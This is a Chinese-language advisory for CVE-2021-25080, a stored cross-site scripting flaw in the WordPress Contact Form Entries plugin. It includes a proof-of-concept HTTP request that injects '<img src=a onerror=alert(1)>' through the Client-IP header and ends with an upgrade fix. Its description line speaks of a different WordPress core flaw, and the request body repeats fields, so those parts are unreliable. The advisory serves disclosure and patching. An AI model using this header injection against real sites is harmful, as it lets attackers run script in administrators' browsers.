CVE-2021-25080
参考:
https://wpscan.com/vulnerability/acd3d98a-aab8-49be-b77e-e8c6ede171ac
https://secsi.io/blog/cve-2021-25080-finding-cross-site-scripting-vulnerabilities-in-headers/
描述:
5.2.3 之前的 WordPress 允许经过身份验证的用户在帖子预览中使用 XSS。
技术细节和利用:
CRM 表单条目 CRM 容易受到客户端 IP 字段中存储的 XSS 的攻击。
当用户上传新表单时,CRM Form Entries 会检查客户端 IP 为了保存有关用户的信息:
代码语言:javascript复制公共函数 get_ip(), wp-content/plugins/contact-form-entries/contact-form-entries.php,第 1388 行
用户可以设置任意的“HTTP_CLIENT_IP”值,该值是 存储在数据库中。
假设你有一个Contact Form,拦截POST请求并插入
代码语言:javascript复制POST /index.php?rest_route=/contact-form-7/v1/contact-forms/10/feedback
HTTP/1.1
Host: dsp.com:11080
Content-Length: 1411
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 ...
Client-IP: <img src=a onerror=alert(1)>
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7"
10
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_version"
5.3.1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_locale"
en_US
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_unit_tag"
wpcf7-f10-p13-o1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_container_post"
Content-Disposition: form-data; name="_wpcf7"
10
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_version"
5.3.1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_locale"
en_US
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_unit_tag"
wpcf7-f10-p13-o1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_container_post"
...
请求被接受,代码导航 $_SERVER['HTTP_CLIENT_IP'] 部分,ip 被注入并保存在数据库中。 当管理员点击插件中的 entry 元素时, 就会触发XSS 。
解决方案:
升级到 1.1.7 版